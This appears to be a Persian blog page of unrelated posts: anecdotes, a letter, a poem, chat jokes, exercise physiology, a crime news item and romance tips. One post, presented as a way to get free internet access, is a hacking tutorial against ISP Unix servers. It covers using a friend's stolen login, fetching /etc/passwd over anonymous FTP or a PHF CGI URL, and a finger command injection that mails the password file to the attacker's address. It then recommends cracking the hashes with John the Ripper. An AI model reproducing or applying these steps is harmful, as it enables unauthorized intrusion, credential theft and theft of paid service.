| تبليغات | X |
|
امیدواریم پس از مطالعه لیست زیر، جزء افرادی باشید که از این نقاط مراقبت کافی می کنند و اهمیت آن را می دانند 1- ابرو |
فراموشكار ....
امروز سوار مترو شدم و رفتم تهران که برم علاءالدین و گوشی بخرم . وقتی رسیدم به ایستگاه صادقیه و رفتم سوار متروی شهری شدم تو مسیر زنی رو دیدم که چهرش سخن از روزگار وحشتناکی میداد . همیشه وقتی کسی میگفت چهره اونو ببین چه درهمو ور همه نمی فهمیدم . شاید به این خاطر بود که تا این مقطع از زندگیم اگر راحت زندگی نکردم شرایط بدی هم نداشتم . ولی امروز چهره این زن در سکوت متواضع خودش ، داشت با تمام وجود فریاد میزد ... فریاد . تو سکوتش پر از حرف بود و من مجذوب این چهره و سکوتش که با خودم میگفتم چقدر نا شکرم حتما اون داره به این فکر میکنه که ۴ روز دیگه باید کرایه خونه بدهو نداره ، اونوقت من فکر گوشیمو و الی آخر . . .؟!!! یه یهو صدای آهنگ نوکیا اومدو اعلام ورود به ایستگاه توپخونه .!!! و من رفتم به علاءالدین و دنبال زندگیم ( یعنی همون گوشی ) بعد از دیدن گوشیها و اینها ۱۰۰۰ تا فحش و بد و بیراه دادم که چرا نمیتونم N80 بخرم و از اين حرفا . دست از پا درازتر برگشتم به سمت كرج .. غافل از اينكه يكي ،دو ساعت پيش داشتم به اون زن و دردهاش و اينكه چقدر من ناشكرم فكر ميكردم ..!!!
تازه فهميدم چقدر خودخواهم . و چقدر فراموشكار . با سردردي شديد اما هميشگي به سمت محل كارم حركت كردم . و همچنان به فكر N80 ی که نتونستم بخرم و باز غافل از اینکه من بعد از دیدن اون زن چه تحولاتی میخواستم در خودم بوجود بیارم ......
اي الههي ناز :
با سلامي گرم ميآغازم اين پيغام را
روزگارت با كه بي من بگذرد خوش باد
نامهي پرمهرت را خواندم . چهقدر لطيف و با احساس لحظهلحظهي سخن راني مرا توصيف كرده بودي . از ميان آنهمه مستمع فقط توي نازنين توانسته بودي سخنان مرا مو به مو بيان كني . ميداني چرا سخنانم خيلي به دلت نشسته بود؟ به خاطر اين كه از دل عاشقم برميخواستند. دلي كه جاودانه عطش عشق دارد. تو مثل هيچ كس نيستي ، گويا با همه فرق داري ، با همهي دانش آموزانم و حتّي با همهي دوستانم . چون خيلي مرا درك كرده بودي و زيبا نوشته بودي . خيلي از خواندن نامهات لذّت بردمو چندين بار آن را خواندم و با خود فكر كردم كه چه قدر احساست به من نزديك است . مخصوصاً از اينكه نامهات را با اوّلين سخن من شروع كردي بودي (اين آخرين ترانهي من است) و با آخرين كلامم (بدرود) نامه را به پايا ن برده بودي ، برايم بسيار باارزش بود . اصلاً فكر نميكردم كه اينقدر بااحساس باشي . البتّه از خواندن دفترچهي زيبايت پي به احساس لطيفت برده بودم امّا نامهات خيلي خوب بود . فداي اشكهاي پاك و بيآلايشت كه به خاطر من سرازير شده بودند . آرزو كردم كه ايكاش آن لحظه پيشت بودم و تو سر به روي شانهام ميگذاشتي و آن بغض را هايهاي ميگريستي و سبك ميشدي !
اميدوارم هرگز اشك به چشمان زيبايت راه نيابد و هميشه خندان باشي!
هيچ وقت فراموشم نميشوي و ياد و خاطرهات در ذهنم جاودانه است و هم چنين خاطرات خوب كلاس ، تركي حرف زدن ها و ... را هرگز فراموش نخواهم كرد.
نامهات را هميشه نگه خواهم داشت . من نامههاي بسياري را از دانش آموزان عزيزم دريافت كردهام امّا به جراءت ميگويم كه هيچكدام تا اين حد در من تاءثير نگذاشته اند
من اين شعر رو خيلي دوستش دارم هنوزم يادمه اون روزايي كه ده بار ده بار ميخوندمش و خسته نميشدم :
خواستم شما بخونينش تا باهاش حال كنين ولي خواهشم ازتون اينه كه تا آخرش بخونين تا به قول معروف برين تو بحر شعر. ولي متاسفانه نمي دونم شاعر كيه . اگه ميدونين به من هم بگين و در ضمن اين شعر يه شعر نو سپيد ه.
از همان روزي كه دست حضرت قابيل
گشت آلوده به خون حضرت هابيل
از همان روزي كه فرزندان آدم
صدر پيغان آوران حضرت باري تعالي
زهر تلخ دشمني در خونشان جوشيد
آدميت مرده بود ، گرچه آدم زنده بود!
از همان روزي كه يوسف را برادرها به چاه انداختند
وز همان روزي كه با شلاق و خون ديوار چين را ساختند
آدميت مرده بود .
بعد هي دنيا پر از آدم شد و اين آسياب گشت و گشت
قرنها از مرگ آدم هم گذشت
اي دريغ! آدميت برنگشت!
قرن ما روزگار مرگ انسانيت است
سينهي دنيا از خوبي ها تهي ست
صحبت از پاكي مروت ابلهي ست
صحبت از عيسي و موسي تا به جاست
قرن موسي چون بهاست
روزگار مرگ انسانيت است
من ، كه از پژمردن يك شاخه گل ؛
از نگاه ساكت يك كودك بيمار ؛
از فغان يك قناري در قفس ؛
از غم يك مرد در زنجير ؛
حتي قاتلي برادر؛
اشك در چشمان و بغضم در گلوست.
وندرين ايام زهرم در پياله هر مارم در سبوست؛
مرگ او را از كجا باور كنم ؟
صحبت از پژمردن يك برگ نيست!
واي جنگل را بيابان ميكند!
دست خون ؛لود را پيش چشم خلق پنهان ميكند!
هيچ حيواني به حيواني نمي دارد روا !
آنچه اين نا مردمان با جان انسان ميكنند .
صحبت از پژمردن يك برگ نيست ،
فرض كن يك شاخه گل هم در جهان يك سرو نيست ،
فرض كن جنگل بيابان بود از روز نخست ،
در كويري سوت و كور ،
در ميان مردمي با اين مصيبتها صبور،
صحبت از مرگ محبت ، مرگ عشق
صحبت از مرگ انسانيت است.
نامردي اگه بخوني و خوشت بياد (و يا خداي نكرده بدت بياد) نظر ندي و بهم نگي !
پسر: سلام. خوبي؟ مزاحم نيستم؟
دختر:سلام. خواهش ميكنم. asl plz ؟
پسر: تهران/وحيد/26 . و شما؟
دختر:تهران/نازنين/22.
پسر: اِ اِ اِ ، چه اسم قشنگي . اسم مادربزرگ منم نازنينه.
دختر:مرسي ! شما مجردين؟
پسر:بله . شما چي؟ ازدواج كردين؟
دختر: نه ، منم مجردم . راستي تحصيلاتتون چيه؟
پسر: من فوق ليسانس مديريت از رشتهي MIT آمريكا دارم. شما چطور؟
دختر: من هم فارغ التحصيل رشتهي گرافيك از دانشگاه سربن فرانسه هستم.
پسر: wow ! چه عالي! واقعا از آشناييتون خوشحالم.
دختر: مرسي ! منم همينطور، راستي شما كجاي تهران هستيد ؟
پسر: من بچهي تجريشم. شما چطور؟
دختر: ما هم خونمون اونجاس! شما كجاي تجريش ميشين؟
پسر: خيابون دربند . شما چي؟
دختر: خيابون دربند؟! كجاي خيابون دربند؟
پسر: خيابون دربند. خيابون ... .كوچهي .... . قطعهي ... . شما چي؟
دختر: اسم فاميلي شما چيه؟
پسر : من ؟حسيني. شما چطور؟
دختر: چي ؟ وحيد تويي؟ خجالت نميكشي چت ميكني؟ تو كه گفتي امروز با زنت ميخاي بري قسطاي عقب موندهي خونه رو بدي. مكانيكي رو ول كردي و اومدي نيشستي داري چت ميكني؟!
پسر: اِ ، عمه ملوك شمايين؟ چرا از اول نگفتين؟راستش! راستش!
ديشب ميخاستم بهتون بگم امروز با فريده... ، آخه ميدونين .........
دختر: راستش چي ؟ حالا آدرس خونهي منو به آدماي تو چت ميدي؟ ميدونم به فريده چي بگم !
پسر: عمهجون! تو رو خدا نه! اگه بفهمه پوستمو ميكنه ! عوضش منم به عمو فريبرز چيزي نميگم!
دختر: او و و و م! باشه بهش چيزي نميگم! ديگه اسم فريبرز رو نياريا!
راستي من بايد برم ، عمو فريبرزت اومد . باي .چ
پسر: باشه عمه ملوك! باي.....
در یک چت روم شلوغ یک پسر برای یک دختر پي ام مي ده:
Boy2004:سلام(يك چند دقيقه اي جوابي نمي ياد)
Boy2004:خانم سرت شلوغه؟
Boy2004:خانم خوشكله چرا جواب نمي دي؟
buzz!(اگه صفحه پشت messenger.و حرفات جلب توجه کنه ميگن)
asl:Girl2004?
Boy2004:/ m/tehranمقدار سن+۲يا ۳ سال روش
ِِِِِU:Boy2004
BUZZ!(اگه سنت ازش بيشتر باشه )
Girl2004:مقدار سن ـ۱يا ۲ سال كمتر/F/TEHRAN.ELAHIE (حالا خونه طرف ساوج الاغم نيست)
Girl2004:خونه شما كجاست؟
Boy2004 طرف براي اينكه كم نياره )درروس
Ax DARI:Girl2004
Boy2004:الان ميفرستم(عكس يك هنرپيشه كه خيلي معروف نيست مي فرسته)
اگه شانس بياره طرف صاحب عكس و...نشناسه!!!!!!
Girl2004:اين عكس خودته؟
Boy2004:أره به جان عمم
Boy2004:تو عكس داري؟
Girl2004:نه ولي مشخصات بخواي مي دم
Boy2004:بده
Girl2004:قدم ۱۷۰ وزنم ۴۰كيلو موهام شرابي چشام سبز
(معلوم نيست دختره يا فرشته )(شايدم ۲ تا بالم داشته باشه)
مکافات
سيب سرخ را حوا خورد وجهان را محکوم به زندگی کرد.....
جهان را خدا آفريد و انسان را مجبور به خوبی کرد .......
خوبی را شيطان پس زد و جهنم را بر پا کرد .........
جهنم را انسان جاهل آباد کرد ..........
آبادی را جهانيان بر روی زمين ديدن و غفلت کردند .........
و اين غفلت بود که باعث شد : .....
من .... من شوم ....
تو ...... عاشق شوی .....
او ...... زاهد شود ..... و ....
ما ..... کافر شويم .
برای خواندن ادامه مطالب عاشقانه و دیدن چند عکس از یانگوم بر روی ادامه مطلب کلیک کنید
چند روزي بود فكر استفاده از يك كارت اينترنت مجاني داشت ديوونم ميكرد... البته بگم ها ما حروم خور هم نيستيم ... آخه بابا به پير به پيغمبر نامرديه كه ما اين همه پول كارت هاي آبكي اينترنت رو ميديم ... يكمي هم كيف دنيا رو كنيم.البته من راهی پیدا کردم که بشه یک کارت اینترنت مجانی به دست آورد.این راه را در ادامه مطلب نوشتم.(لطفا مطالب را با دقت بخوانید)
Unixيكي از سرورهايي است كه در جهان بسيار از آن استفاده مي شود در ايران و دربيشتر شهر هاي بزرگ هم ISPهايي وجود دارند كه سرور آن ها Unixباشند .بنابر اين شما مي توانيد براي هك آن ها از اين راه ها استفاده كنيد شما در اين راه احتمالا با مشكلات زيادي برخورد خواهيد كرد .من راه كامل و بي عيبي را در اختيار شما نمي گذارم براي نفوذ گر شدن بايد تلاش بسياري كرد و اين اشاره اي است كه شما را به طرف راه درست هدايت مي كند .براي هك يونيكس از اين طريق عمل مي كنند كه با روش هايي كه ذكر خواهد شد فايل حاوي Passwordها و IDها را كه به نام Passwdمي باشد دريافت كنند .اين فايل يك فايل متني است كه در آن اطلاعات بصورت رمز در آمده .وقتي شما يك فايل Passwdرا باز كنيد چنين نوشته هايي را
مي بينيد .كه بايد آن را از حالت رمز در آورد .
root:2fkbNba29uWys:0:1:Operator:/:/bin/csh
admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh
Taha:3A62i9qr:1012:10:Mashhad
در اينجا مثلا Tahaنام IDو 3a62...كلمه عبور اما به صورت رمز در آمده مي باشد .
شايد فايل به شكل زير هم باشد .اما اين فايل كار را غيرممكن مي سازد.در صورتي كه به شكل زير باشد يعني در آن علامت *به جاي كلمه ي به رمز آمده به آن ها Shadowedگفته مي شود .
root:*:0:1:Operator:/:/bin/csh
admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh
Taha:*:1012:10:mashhad BFH:/home/user/Taha:/usr/local/bin/tcsh
ما فعلا مي خواهيم اين فايل را دريافت كنيم .اولين قدم اين است كه آيدي در آن ISPبراي خود دست و پا كنيم .حالا اين آيدي مي تواند متعلق به دوستمان باشد و يا يك آشناي دور .پيدا كردن رمز دوست شما به سادگي ميسر است كه در حوصله اين مقاله نمي گنجد .بعد از پيدا كردن رمز شما با آيدي دوستتان به شبكه Connectشويد .اين اتصال مي تواند يك اتصال به طريق Modem DialUp Connectionباشد .بعد از اتصال كامل وارد قسمت MS-DOS Promptشويد و فرمان زير را وارد كنيد
FTP http://www.domain.com/
كه Domainآدرس سرور ISPمي باشد سپس از شما خواسته مي شود تا آيدي خود را وارد كنيد كلمه ي Anonymousرا بزنيد .سپس وقتي درخواست كلمه عبور شد كليد Enterرا بزنيد .اگر وارد سيستم شديد موفق شده ايد در غير اين صورت جمله ي login failedدريافت مي شود .دوباره امتحان كنيد و اين بار در كادر Passwordآدرس Emailاي را وارد كنيد .اگر اين بار هم جواب نداد به جاي كلمه ي anonymousاز Userخود يعني دوستتان استفاده كنيد . احتمال دارد اين بار هم موفق نشويد .اين دفعه روش هاي فوق را براي دستور زير امتحان كنيد
FTP ftp.domain.com
اگر اين بار هم جوابي نگرفتيد با ISPتماس گرفته و سوال كنيد كه چگونه مي توانم از سرور FTPخود شما استفاده كنم چون وارد سيتمتان نمي شود اگر پرسيد براي چه مي خواهيد وارد شويد بگوييد مي خواهم از نرم افزار هاي آن استفاده كنم ولي مواظب باشيد كه نام خود را نگوييد .خلاصه تمام تلاش خود را براي فهميدن روش دستيابي به سيستم بكنيد اگر توانستيد وارد سيستم شويد به راحتي مي توانيد وارد شاخه ي مشخصي رفته و فايل Passwdها را بگيريد ولي احتمال دارد كه آن شاخه براي شما قفل شده باشد .براي كار با FTPبايد دستورات FTPرا ياد داشته باشيد .براي لسيت دستورات مي توانيد ?را تايپ كنيد .ابتدا به شاخه ي ETCبرويد مي توانيد فايل passwdرا در آنجا پيدا كنيد .اين فايل را بگيريد .اگر در آنجا نبود شاخه هاي ديگر را امتحان كنيد .ولي به احتمال زياد همانجاست .حال اگر اصلا نتوانستيد وارد FTPشويد مي توانيد اين فايل را با استفاده از قايلبيت PHFبگيريد .به اين صورت كه در Internet Browserخود آدرس زير را وارد كنيد .
http://www.domain.com/cgi-bin/phf?Q...t%20/etc/passwd
اگر به اين صورت هم نتوانستيد آن را بگيريد مي توانيد از طريق Fingerاين كار را انجام دهيد .اين روش به شرطي جواب مي دهد كه Serverمورد نظر قابليت Fingerرا داشته باشد .به آدرس زير مراجعه كنيد .
www.domain.com/cgi-bin/finger
اگر اين آدرس كار نكند ديگر هيچ اميدي نيست اما اگر كار كند كادري جلوي شما ظاهر مي شود كه مي خواهد نام مورد نظر خود را بدهيد .آدرس زير را وارد كنيد .
ID@domain.com ; /bin/mail you@somewhere.com < etc/passwd
كه در اين آدرس IDشناسه كاربري يك شخص است كه مثلا مي توانيد از آيدي دوستتان استفاده كنيد domain.comآدرس نام حوزه ي ISPاست و آدرس you@somewhere.comآدرس Emailشماست مثلا اين يك نمونه است .
bfh@internet.com ; /bin/mail amir6_6_6@yahoo.com < etc/passwd
با وارد كردن اين دستور فايل Passwdبراي من به آدرس 3dhack@yahoo.com پست مي شود !
خوب حالا تا الان اگر توانسته ايد فايل را گرفته باشيد كه بهتر در غير اينصورت بايد بي خيال اين روش شويد .
حالا اگر فايل shadowedگير آورديد بقيه ي متن را نخوانيد چون كمكي به شما نمي كند و بايد از روش هاي ديگري استفاده كرد .اما اگر يك فايل مثل نمونه اولي كه در بالا بود گير آورديد مي توانيد كار خود را ادامه دهيد حالا شما نياز به يك برنامه ي Unix Password Crackerداريد معروف ترين اين نوع برنامه ها John Ripperو Cracker Jackمي باشد .اما John Ripper سريعترين نوع اين برنامه مي باشد .اين دو برنامه را مي توانيد از همان آدرس قبلي يعني www.hackersclub.com/km/frontpageبه دست بياوريد اما نمونه ي ديگري از اين نمونه برنامه ها به كتابخانه هك به نام jill_v20 ارسال شد .با استفاده از اين برنامه ها مي توانيد به هدف خود برسيد . به همين راحتي.
این وبلاگ هیچ مسئولیتی در قبال استفاده از این روش بر عهده ندارد
الف: تنظيم های غير ارادی :تنظيم وتوضيع جريان خون به عضلات اسکلتي از طريق اعصاب تحت تاثير سيستم عصبی سمپاتيک قرار دارد. دو نوع تار عصبی ازاين سيستم در عضلات صاف ديواره رگها وجود دارد
۱- تارهای گشاد کننده عروق يا کولی نرژيک «cholinergic» (از انتهای آنها استيل کولين ترشح می شود) که نقش آنها افزودن به جريان خون درعضلات فعال هنگام ورزش با اتساع رگها میباشد
۲- تارهای تنگ کننده رگ (منقبض کننده) يا آدرنرژيک «Adreneryic» ( که نورآدرنالين ويا نوراپی نفرين از انتهای آنها ترشح می شود)
هنگام استراحت جريان خون در عضلات اسکلتي بسيار کم است زيرا رگهای خونی موجود در اين عضلات به حالت نيمه بسته (حالتی که ازخود رگها ناشی ميشود و تا حدود زيادی مستقل ازکنترل عصبی است)می باشد.
بعدا” خواهيم ديد که افزايش جريان خون در عضلات فعال که باعث افزايش حالت باز شدن يا اتساع رگها بصورت فعالانه انجام نمی گيرد . بلکه چون عضله صاف ديواره آنها در حالت انبساط قرار می گيرند ، فشار جريان خون موجب اتساع آنها می شود.
ب: تنظيم شيميائی: افزايش جريان خون در عضلات هنگام ورزش ، از ترکيب شيميائی خون تاثير می پزيرد. چنانکه قبلا” عنوان شدعضلات صاف رگهای خونی عضلات اسکلتی هنگام استراحت (که از کنترل عصبی مستقل هستند )در حالت نيمه بسته می باشد و افزايش جريان خون در اين عضلات از طريق کاهش خاصيت درونی تنگ کنندگی رگها وهمراه با افزايش حالت اتساع در آنها صورت می گيرد که بروز اين حالت در نتيجه تاثير عمل موضعی تغييرات شيميائی بر رگهای خونی است ، واسطه های شيميائی که در زير برشمرده می شوند،بعنوان علل اين تغيير پيشنهاد شده اند:
۱- کاهش غلظت اکسيژن
۲- آزاد شدن پتاسيم و هيستامين«Histamine» (مادهای که از تجزيه هستيدين بدست می آيد وباعث اتساع وافزايش قابليت نفوذ مويرگها ، افزايش ترشح معده وانقباض عضلات احشائی می شود) درون سلولی
۳- ترکيب شيميائی اتساع رگ که (برادی کينين) «Brady Kinin» نوعی کينين از يک زنجيره شامل ۹ اسيد آمينه؛ ناميده می شود.
جالب توجه است که چگونه عوامل باز کننده و محدود کننده با عمل کرد خود ، جريان خون را در يک منطقه محدود کرده ،آنرا به بخش ديگری که در نتيجه ورزش نياز بيشتری دارد می رسانند ، همچنين قابل توجه است که چگونه نيازها ی قسمتهای مختلف بدن در حين انجام کار با يکديگر متفاوت است ، به عنوان مثال مغز در حالت استراحت و ورزش ازيک مقدار ثابت خون استفاده می کند ، در حاليکه نياز قلب همراه با افزايش ضربان آن نسبت به حالت استراحت افزايش می يابد . در هنگام ورزش مقدار جريان خون به عضلات فعال (به منظور تغذيه ودريافت اکسيژن)و همچنين پوست (به منظور دفع حرارت) بيشتر می شود.در همان حال جريان خون به ساير اندامهای درونی چون کليه ها ، روده ها ومعده همراه با افزايش کار کاهش می يابد.با توجه به نکته مهم عنوان شده در بحث فوق مربيان با تجربه می دانند که هنگام انجام فعاليت ورزشی هنگامی است که خون متوجه اندامهای درونی نباشد و بايد يک ورزشکار در موقع مطلوب به امر تغذيه بپردازد طوريکه چنانچه خون از معده و روده ها متوجه عضلات فعال و پوست گرديد عضلات اندامهای درونی تحت فشار در اثر کم خونی نباشند. بنابرين قبل از تمرين ميبايد :
۱ از تناول غذاهای سنگين و دير هضم اجتناب نمود،
۲ مواردی که باعث افزايش اسيد بدن و کاهش بيش از حد PH می شود در رژيم قبل از تمرين به حد اقل ميزان خود کاهش داده شود.
۳ رژيمهائی که شامل مواردی هستند که باعث افزايش انقباض در رگها ميشوند را به حداقل ميزان رسانيد
۴ با تمرکز و آرامش قبل از تمرين ، خود را برای انجام فعاليت آماده نمائيد و از ايجاد فشار و تنش که باعث بهم خوردگی تعادل عصبی ميشود و عملکرد اعصاب را مختل می نمايد پرهیز نمایید « با اعصابی آرام و راحت به تمرين بپردازيد» آشفتگی عصبی مي تواند عامل ايجاد عدم تمرکز گردد که خود باعث بهم ريختگی سيستم گردش خون و همچنين افزايش ميزان آسيب ديدگی است.
۵ قبل از تمرين استفاده از مواد مدر را قطع نمائيد. زيرا اين مواد باعث کاهش پتاسيم درون سلولی وافزايش ميزان گرفتگی در عضله می گردند وعملا” کارائی ورزشی را کاهش ميدهند .
۶ در هنگام تمرين از افراط در نوشيدن خودداری نمائيد ، چراکه نوشيدن بيش از حد نياز آب باعث متوجه ومتمرکز نمودن خون به عضلات اندامهای درونی می گردد . اين عمل بدنبال خود کاهش ميزان گردش خون در عضلات فعال و پوست را دارد که مانع از پيشرفت و عدم نتيجه گيری از تمرين را می شود.
۷ در حاليکه ورزشکار تمرين مينمايد حرارت داخلی بدن افزايش يافته «که ميبايد بتدريج و صحيح بعد از تمرين از ميزان حرارت درونی کاست» در اين حالت اگر ورزشکار نوشيدنی بسيار سرد و يا داغ ميل نماید ميتواند آسيبهای جدی وغير قابل جبرانی رابه اعضای درونی بدن خود برساند.
۸ انجام فعاليت در مکانهائی که دی اکسيد کربن و رطوبت بالا دارند و اکسيژن در آنجا محدود باشد باعث پايين آمدن راندمان کار يک ورزشکار ميگردد .
۹ با توجه به عملکرد اعصاب و هماهنگی جالبی که بين اعضاء و اعصاب وجود دارد (متوجه ومتمرکز نمودن خون در ناحيه عضلات فعال وکاهش ميزان انبساط در ناحيه غير فعال بدن) مربيان با تجربه سعی می نمايند تا سيستم تمرينات ورزشکاران را طوری که باعث آشفتگی در هماهنگی ذکر شده نگردند يعنی تمرکز خون را در عضله فعال کاهش ندهند«سيستم تمرينات متمرکز ، تک عضله يا عضلات هماهنگ در تمرين نتيجه ای مطلوبتر از سيستم تمرين عضلات غير متمرکز وناهماهنگ دارد» ( در اينجا نياز به آشنايی باسيستمهای مختلف برای مربيان افزايش مي يابد چرا که مربی آگاه به آناتومی حرکت و آشنا به سيستم های مختلف می تواند از طريق اعمال سيستم صحيح و متناسب با نياز ورزشکار کارائی وی را افزايش داده و او را به هدف نزديکتر نمايد.)
۱۰ با توجه به اينکه هنگام ورزش ميزان مقاومت در برابر فشار خون در اثر اتساع رگهای عضلات فعال کاهش می يابد ورزشکاران می بايد از مواردی که باعث افت فشار خون می شود قبل از تمرين اجتناب نمايند.
۱۱ جالب توجه است که انجام کار دنياميک با استفاده از عضلات کوچک چون بازو نيز در مقايسه با عضلات بزرگ مانند عضله پا موجب افزايش بيشتر فشار خون می شود . اين حالت بخصوص هنگامی که فرد با دست کاری را انجام ميدهد مانند پارو کردن برف ، کندن زمين نقاشی کردن ديوار و يا کارهايی مانند نجاری مشاهده می شود . اين نوع کارها برای افراد مسن که دچار بيماريها ی قلبی و گردش خون می باشند توصيه نمی شود
۱۲ لازم به تذکر است که تمرين ورزشی نيز خود بر فشار موثر است . برای مثال: کار طولانی در افراد تمرين نکرده کاهش پيوسته و تدريجی فشار سيستولی ميشود که نشانه نزديک شدن خستگی است. از سوی ديگر انجام تمرينات منظم اين پديده را به تاخير می اندازد بطوری که کار سنگين را می توان برای مدت خيلی طولانی تر بدون تغيير زياد در فشار خون ادامه داد.
«هر چه فرد دارای تمرين بهتر و بيشتری باشد فشار خون او زودتر به سطح قبل از شروع تمرين می رسد»
اگر می خواهی با کلاس شی حتمن اینو بخون
اگر شما ذاتا" انسان با کلاسی هستید که هیچ !!! در غیر این صورت باید از هر فرصتی برای نشان دادن این موضوع استفاده کنید . شاید باورتان نشود ولی شما می توانید از جراحت خود نیز برای کلاس گذاشتن استفاده کنید فقط کافیست جواب های زیر را با اندکی قیافه موجه بیان کنید:
اگر شصت پای شما زیر اجاق گاز گیر کرده و شما ان را باند پیچی کرده اید هر گاه علت آن را از شما جویا شدند باید جواب دهید : "موقع تکان دادن پيانوی بابام پام مونده زیرش"
اگر صورت شما بر اثر جوشکاری زیر آفتاب سوخته باید بگویید : "از اسکی آخر هفته نمی توانم بگذرم"
اگر به خاطر تک چرخ زدن با موتور براوو جلوی مدرسه دخترانه به زمین خورده اید در جواب باید بگویید : "با موتور هزار داداشم تو جاده چالوس تصادف کردیم"
اگر انگشت دست شما به ماهیتابه پیاز داغ چسبیده علت آن را چنین بیان کنید : "دیشب با قهوه جوش اینجوری شد"
اگر بر اثر ضربه ی چکش ناخن شما شکسته باید بگویید : "به سیم گیتارم گیر گیر کرده"
اگر بر اثر زد و خورد در صف روغن کوپنی زیر چشم شما کبود شده جوابتان این باشد : "چند روز پیش توپ تنیس به صورتم خورد"
اگر صورت شما بر اثر خوردن خرمای خیرات و چای و شیرینی مملو از جوش شده علتش را چنین وانمود کنید: "که خواهرتان از هلند شکلات زیادی اورده است"
اگر مینی بوس شما در جاده خاکی چپ کرد و حسابی مجروح شدید بسیار عصبانی بگویید : "الکی می گویند زانتیا ایربگ داره "
اگر کف دست شما به قوری سماور چسبید بگویید:"حواسم نبود میله ی شومینه زیادی داغ شد"
اگر موها و ابروهای شما در چهار شنبه سوری سوخت جواب دهید:"بچه همسایه را از میان شعله های آتش بیرون کشیدم!
ببينم شما اينقدر بيكلاس بودي كه همه اينو خوندي ؟
************************
جواني که در حمام همسايه خود دوربين کار گذاشته بود، دستگير شد:
ه گزارش جام جم ، فردي با مراجعه به ماموران انتظامي نوشهر با ارائه شکايتي عنوان کرد، وقتي براي استحمام وارد حمام منزل خود شده ، مشاهده کرده 2دوربين به طرز ماهرانه اي در حمام منزل وي جاسازي شده است.
به دنبال اين شکايت ، ماموران با عزيمت به محل متوجه شدند 2دوربين در 2جاي مختلف کار گذاشته شده است و شيوه کار اين دوربين ها به نحوي است که پس از تصويربرداري ، تصاوير را به فاصله 20متري به يک دستگاه گيرنده منتقل مي کند.
ماموران با بررسي و تحقيق در اين ارتباط، جواني را که در زمينه لوازم صوتي و تصويري فعاليت مي کرد، در همسايگي منزل شاکي دستگير کردند و پس از گزارش به بازپرس دادسرا، دستور دستگيري و بازرسي از خانه اين فرد صادر شد.
با دستگيري اين فرد، دستگاه ضبط فيلم و تعدادي سي دي مبتذل و يک دستگاه رسيور ماهواره از وي کشف و ضبط شد.
متهم در تحقيقات اعتراف کرد از چندي پيش درصدد نصب دوربين در حمام منزل همسايه بودم و زماني که متوجه شدم آنها در منزل حضور ندارند، از ديوار مجاور وارد خانه شان شدم و 2دوربين را به طرز ماهرانه اي درون حمام نصب کردم تا پس از تصويربرداري ، اين فيلمها را تکثير کنم و به فروش برسانم. با ثبت اين اعترافات ، متهم با صدور قرار قانوني براي ادامه تحقيقات و بررسي سوابق در اختيار ماموران قرار گرفت.
اگه می خواین با همسرتون تفاهم داشته باشید مطلب زیر را بخوانید
هر وقت که برای همسرتان کارت پستال می فرستید ، روی پاکت آن تمبر عاشقانه ای بزنید
*
با ارزش ترین هدیه ممکن را برایش تهیه کنید
*
بهترین جمله ای که معشوقتان برایتان نوشته است را قاب کنید و به دیوار اتاقتان بکوبید
*
وقتی همسرتان در خانه مشغول خانه تکانی است ، ناهار آنروز را از رستوران تهیه و برایش به منزل ببرید
*
در طول سال برای هم نقشه های عاشقانه ای بکشید
*
تمام نامه های معشوقتان را با بوسه ، لاک و مهر کنید
*
کمد لباسهایش را با اشعار و جملات عاشقانه تزئین نمائید
*
ترانه ای که مضمون آن ، معنای نوع ارتباط شما را بیان می کند
*
یک عکس نامزدتان را درون کیفتان بگذارید و با غرور آنرا به اقوام و خانواده تان نشان دهید
*
درون تقویم همسرتان روز تولد خودتان و تمامی سالگردها را علامت گذاری نمائید
*
تمام اوقات فراغت آخر هفته را با هم سر ببرید
*
با کمک هم از فرزندتان عکس بگیرید
*
برای برخورداری از زندگی عاشقانه فیلمهای بسیار عاشقانه نگاه کنید
*
به هنگام صرف صبحانه بجای اینکه ساکت باشید یا روزنامه بخوانید ، با هم گپ بزنید
*
دفترچه ای برای نوشتن خاطرات ملاقاتهایتان درست کنید و پس از پایان هر ملاقات علاوه بر خاطرات آن روز ، اندکی در
*
مورد وقایع و احساسات خود درباره نامزدتان در آن صفحه بنویسید
*
در مسیر های مشخص با هم پیاده روی های طولانی بروید
*
در کنا ر هم نوشیدنی میل کنید
*
یک شعر عاشقانه کوتاه بر روی کیک تولدش بنویسید
*
برای احساسی تر کردن محیط زندگی ، اتاق خوابتان را با رنگ صورتی یا قرمز تیره رنگ آمیزی نمائید
*
این را به خاطر بسپارید که باید خانواده و دوستان همسرتان را دوست داشته باشید یا لااقل آنها را تحمل کنید
*
صبحها با یک بوسه به همسرتان صبح بخیر بگوئید
*
از باغهای گل برای عشقتان دسته های گل بچینید
*
از دوستانتان درباره روشها و روابط عاشقانه شان سؤالاتی بپرسید
*
همین امشب شامش را قاشق ، قاشق در دهانش بگذارید
*
پس از ازدواج نام شاعرانه ای برایش انتخاب کنید
*
هر وقت همسرتان به شما هدیه می دهد ، بلافاصله از آن استفاده کنید و همیشه هم آنرا به کار گیرید
*
برای عشقتان حساب بانکی خوبی باز کنید
*
تکیه کلام مشترکی با هم داشته باشید
*
وقتی به او کیف هدیه می دهید ، درون آنرا از اسکناس نو پُر کنید
*
وقتی با نامزدتان تماس تلفنی می گیرید ، بعنوان زمینه سخنتان ترانه مورد علاقه اش را پخش کنید
*
همیشه عکسش را همراه داشته باشید
*
با اتفاق هم ورزش کنید
*
در کنار هم با دیدن منظره سقوط یک شهاب سنگی آرزو کنید ... !
دوران کودکی همدیگر را بازسازی نمائید و این نکته را باور کنید که از همان دوران کودکی بطور ناخودآگاه به یکدیگر عشق می ورزیدید و باز هم عشق را به
هم عرضه دارید
*
روی آئینه میز توالت پیام عاشقانه کوتاهی بوسیله رژ لب برایش بنویسید .
هدایای مورد علاقه هم را به یکدیگر هدیه بدهید و در طول روز تمام احساسات عاشقانه تان را برایش ابراز دارید
*
پنج جمله ای که می توانید همیشه به عشقتان بگوئید عبارتند از : تو بهترین هستی ، همیشه دوستت خواهم داشت ، عالی ترین
همسر دنیایی ، خیره کننده و جذابی هستی ، تو تنها عشق حقیقی من هستی
نیمه شبها را برای قدم زدن انتخاب کنید
*
نقاشی کوچکی که در آن احساساتتان را به تصویر کشیده اید ، برایش بکشید
*
به هنگام خواب موهابش را نوازش کنید
*
و قتی بیمار است ، هر چند سرما خوردگی ساده ای باشد ، حسابی از او پرستاری کنید
*
در یک غروب سرد ، ژاکتتان را روی شانه هایش بیاندازید
*
در یکی از شبهای گرم تابستان با همدیگر در ایوان منزلتان بخوابید
